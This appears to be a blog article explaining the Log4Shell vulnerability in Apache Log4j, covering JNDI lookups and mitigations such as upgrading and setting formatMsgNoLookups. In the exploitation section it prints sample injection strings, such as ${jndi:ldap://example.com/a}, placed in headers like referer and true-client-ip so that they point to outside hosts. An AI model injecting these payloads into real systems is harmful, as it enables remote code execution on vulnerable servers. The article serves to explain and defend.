Vulnerability in Log4J, Causing World Wide Havoc! Log4Shell Exploiting and Mitigation

A zero-day vulnerability has been discovered in Apache Log4j, which is a popular library for log management. Log4Shell, formally known as CVE-2021-44228 vulnerability could allow an attacker to execute malicious code on the vulnerable system by sending it a single string of text. The issue can be exploited even if log4j is not being used directly, but instead via any other application that uses the library.

A new vulnerability has been found in the widely-used Apache Log4j Java-based logging library that leaves millions of websites vulnerable to attack. This is a big problem because it can be exploited with a single string of text.

What is 0-day vulnerability?

A zero-day vulnerability is a security hole in software that is unknown to the developer or the public. This means that there is no patch available, and attackers can exploit it to their advantage before anyone has a chance to fix it.

But why are 0-day vulnerabilities so dangerous? 0-day vulnerabilities are dangerous because they can be exploited before a fix is available. This leaves systems open to attack from anyone who knows about the flaw. The attacker could be a hacker, cybercriminal, or even a nation-state with malicious intent.

What is Log4j?

The Log4j is a logging library that is mainly used for logging purposes or it may be used in front of other logging applications. Log management refers to all the processes and activities involved in collecting, managing, and analyzing log data. This data can come from a variety of sources, such as network devices, servers, and applications. Watch out because you might be in trouble if you are using this jar and exposing the application to the internet.

How is Log4J Vulnerability Exploited?

When a request is made, we can include a variety of data in the headers, which may be logged and stored by the server. The problem arises when JNDI lookups are used in the request. 

Hold On! What is JNDI?

JNDI stands for Java Naming and Directory Interface. The Java Naming and Directory Interface (JNDI) is an API that allows programs written in the JavaTM language to use naming and directory services.

JNDI allows distributed software to lookup services in a Resource-independent abstract manner.

Ok, Back to the Exploitation

By default, JNDI lookups are enabled and the log4j 2 components can execute these JNDI instructions.

For example, if log4j 2 is logging all requests, a malicious actor may craft a request including a JNDI command to download and execute a harmful file as part of the header.

If there is a JNDI command with a harmful URL, it will be processed and the malicious file will be downloaded to the server.So all an attacker has to do is find some input that is logged and then insert something like this.

${jndi:ldap://example.com/a}

This might be an HTTP header such as User-Agent or referer (that is frequently logged) or a form parameter like the username that may also be recorded.

referer=${jndi:ldap://example.com/a.interact.sh},
x-http-host-override=${jndi:ldap://[redacted].interact.sh},
true-client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-port=443,

Even if the front end is not inherently dangerous, if the backend or other services or systems linked to the front end are vulnerable, it may cause issues.

What should I do if my system is vulnerable?

If you believe that your system is vulnerable, you should update the software to a version that contains a fix as soon as possible.

• The most straightforward way to fix this is to upgrade your log4j library to version 2.15.0 or later, which disables this behavior by default.
• In prior versions, the attack can be prevented by using the system property.log4j2.formatMsgNoLookups to true by adding the following Java parameter: -Dlog4j2.formatMsgNoLookups=true
• Alternatively, you can mitigate this vulnerability by removing the JndiLookup class from the classpath.
• To defend against this assault, a number of WAF rules have been implemented by CDN and Firewall providers like Cloudflare.

I also encourage you to install security solutions on your servers, which will often allow you to observe the introduction of malicious code and stop the attack’s progress.

Conclusion

Given the ease with which Log4j may be exploited, and the fact that it is prevalent in enterprise IT and DevOps, in-the-wild assaults on susceptible servers are anticipated to rise over the next few days, making it critical to address the problem immediately.

There are already numerous proof-of-concept (PoC) attacks for the CVE-2021-44228 vulnerability on the Internet. As a result, it’s not surprising that cybersecurity firms are organizing broad network scans for vulnerable applications and attacks against honeypots.